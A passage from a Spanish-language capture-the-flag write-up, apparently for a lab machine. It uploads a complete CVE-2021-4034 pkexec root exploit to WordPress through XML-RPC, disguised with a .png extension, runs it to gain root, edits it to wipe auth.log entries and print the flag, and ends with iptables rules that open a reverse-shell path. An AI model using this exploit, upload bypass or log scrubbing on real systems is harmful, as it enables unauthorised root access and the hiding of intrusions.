"PATH=GCONV_PATH=.", "CHARSET=PKWNER",\n                 "SHELL=pkwner", NULL};\n  execve("/usr/bin/pkexec", (char *[]){NULL}, env);\n}\nEOM\necho "[+] Build offensive gconv shared module..."\ngcc -fPIC -shared -o pkwner/pkwner.so pkwner/pkwner.c\necho "[+] Build mini executor..."\ngcc -o pkwner/executor pkwner/exec.c\n# export PATH="GCONV_PATH=."\n# export CHARSET="PKWNER"\n#export SHELL=pkwner\nPATH=\'GCONV_PATH=.\' ./pkwner/executor\necho "[+] Nice Job"\n'
>>> data_upload = { 'name': 'pkwner.sh', 'bits': filename, 'type': 'text/plain'}
>>> client.call(media.UploadFile(data_upload))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/miguel/.local/lib/python3.11/site-packages/wordpress_xmlrpc/base.py", line 37, in call
    raw_result = server_method(*args)
                 ^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/xmlrpc/client.py", line 1122, in __call__
    return self.__send(self.__name, args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/xmlrpc/client.py", line 1464, in __request
    response = self.__transport.request(
               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/xmlrpc/client.py", line 1166, in request
    return self.single_request(host, handler, request_body, verbose)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/xmlrpc/client.py", line 1182, in single_request
    return self.parse_response(resp)
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/xmlrpc/client.py", line 1354, in parse_response
    return u.close()
           ^^^^^^^^^
  File "/usr/lib/python3.11/xmlrpc/client.py", line 668, in close
    raise Fault(**self._stack[0])
xmlrpc.client.Fault: <Fault 500: 'Could not write file pkwner.sh (Sorry, you are not allowed to upload this file type.).'>
  • Nos da un error no podemos subir ese tipo de archivo es por la extensión que tiene vamos a cambiarla para ver si nos deja.
>>> data_upload = { 'name': 'pkwner.png', 'bits': filename, 'type': 'text/plain'}
>>> client.call(media.UploadFile(data_upload))
{'attachment_id': '48', 'date_created_gmt': <DateTime '20240625T00:46:03' at 0x7f932bf77ed0>, 'parent': 0, 'link': '/wp-content/uploads/2024/06/pkwner.png', 'title': 'pkwner.png', 'caption': '', 'description': '', 'metadata': False, 'type': 'text/plain', 'thumbnail': '/wp-content/uploads/2024/06/pkwner.png', 'id': '48', 'file': 'pkwner.png', 'url': '/wp-content/uploads/2024/06/pkwner.png'}
  • Tenemos la ruta donde se subió.
  • Y funciona somos root ya que le dijimos que nos ejecutara el comando id.
➜  wordpress_xmlrpc rlwrap ./script.sh
$~ bash /var/www/html/wp-content/uploads/2024/06/pkwner.png
██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗
██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗
██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝
CVE-2021-4034 PoC by Kim Schulz
[+] Setting up environment...
[+] Build offensive gconv shared module...
[+] Build mini executor...
uid=0(root) gid=0(root) groups=0(root),33(www-data)
hello[+] Nice Job
  • Modificamos el script.
➜  content cat new.sh
#!/bin/bash
echo "██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗ "
echo "██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗"
echo "██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝"
echo "██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗"
echo "██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║"
echo "╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝"
echo "CVE-2021-4034 PoC by Kim Schulz"
# shell poc by Kim Schulz
echo "[+] Setting up environment..."
mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./pkwner'
chmod a+x 'GCONV_PATH=./pkwner'
mkdir -p pkwner
echo "module UTF-8// PKWNER// pkwner 2" > pkwner/gconv-modules
cat > pkwner/pkwner.c <<- EOM
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
  printf("hello");
  setuid(0); setgid(0);
	seteuid(0); setegid(0);
  system("PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin/:/usr/local/sbin;"
         "rm -rf 'GCONV_PATH=.' 'pkwner';"
         "cat /var/log/auth.log|grep -v pkwner >/tmp/al;cat /tmp/al >/var/log/auth.log;"
         "cat /root/root.txt");
	exit(0);
}
EOM

cat > pkwner/exec.c <<- EOM
#include <stdlib.h>
#include <unistd.h>
int main(){
  char *env[] = {"pkwner", "PATH=GCONV_PATH=.", "CHARSET=PKWNER",
                 "SHELL=pkwner", NULL};
  execve("/usr/bin/pkexec", (char *[]){NULL}, env);
}
EOM
echo "[+] Build offensive gconv shared module..."
gcc -fPIC -shared -o pkwner/pkwner.so pkwner/pkwner.c
echo "[+] Build mini executor..."
gcc -o pkwner/executor pkwner/exec.c
# export PATH="GCONV_PATH=."
# export CHARSET="PKWNER"
#export SHELL=pkwner
PATH='GCONV_PATH=.' ./pkwner/executor
echo "[+] Nice Job"
  • Volvemos hacer todo el proceso en python3 y al final ejecutamos lo siguiente.
>>> data_upload = { 'name': 'new.png', 'bits': filename, 'type': 'text/plain'}
>>> client.call(media.UploadFile(data_upload))
{'attachment_id': '57', 'date_created_gmt': <DateTime '20240625T02:22:16' at 0x7fd3870a7750>, 'parent': 0, 'link': '/wp-content/uploads/2024/06/new.png', 'title': 'new.png', 'caption': '', 'description': '', 'metadata': False, 'type': 'text/plain', 'thumbnail': '/wp-content/uploads/2024/06/new.png', 'id': '57', 'file': 'new.png', 'url': '/wp-content/uploads/2024/06/new.png'}
  • Vamos a ver la flag.
➜  content ./script.sh
$~  bash /var/www/html/wp-content/uploads/2024/06/new.png
██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗
██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗
██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝
CVE-2021-4034 PoC by Kim Schulz
[+] Setting up environment...
[+] Build offensive gconv shared module...
[+] Build mini executor...
10b224d4bc6cab7b7fbd9f4deb10b9eb
hello[+] Nice Job

Para ganar shell hay que ejecutar 2 comandos de IPTables para que acepte trafico de nuestra IP y poder entablar la reverse shell.

iptables -A OUTPUT -p tcp -d 10.10.14.63 -j ACCEPT
iptables -A INPUT -p tcp -s 10.10.14.63 -j ACCEPT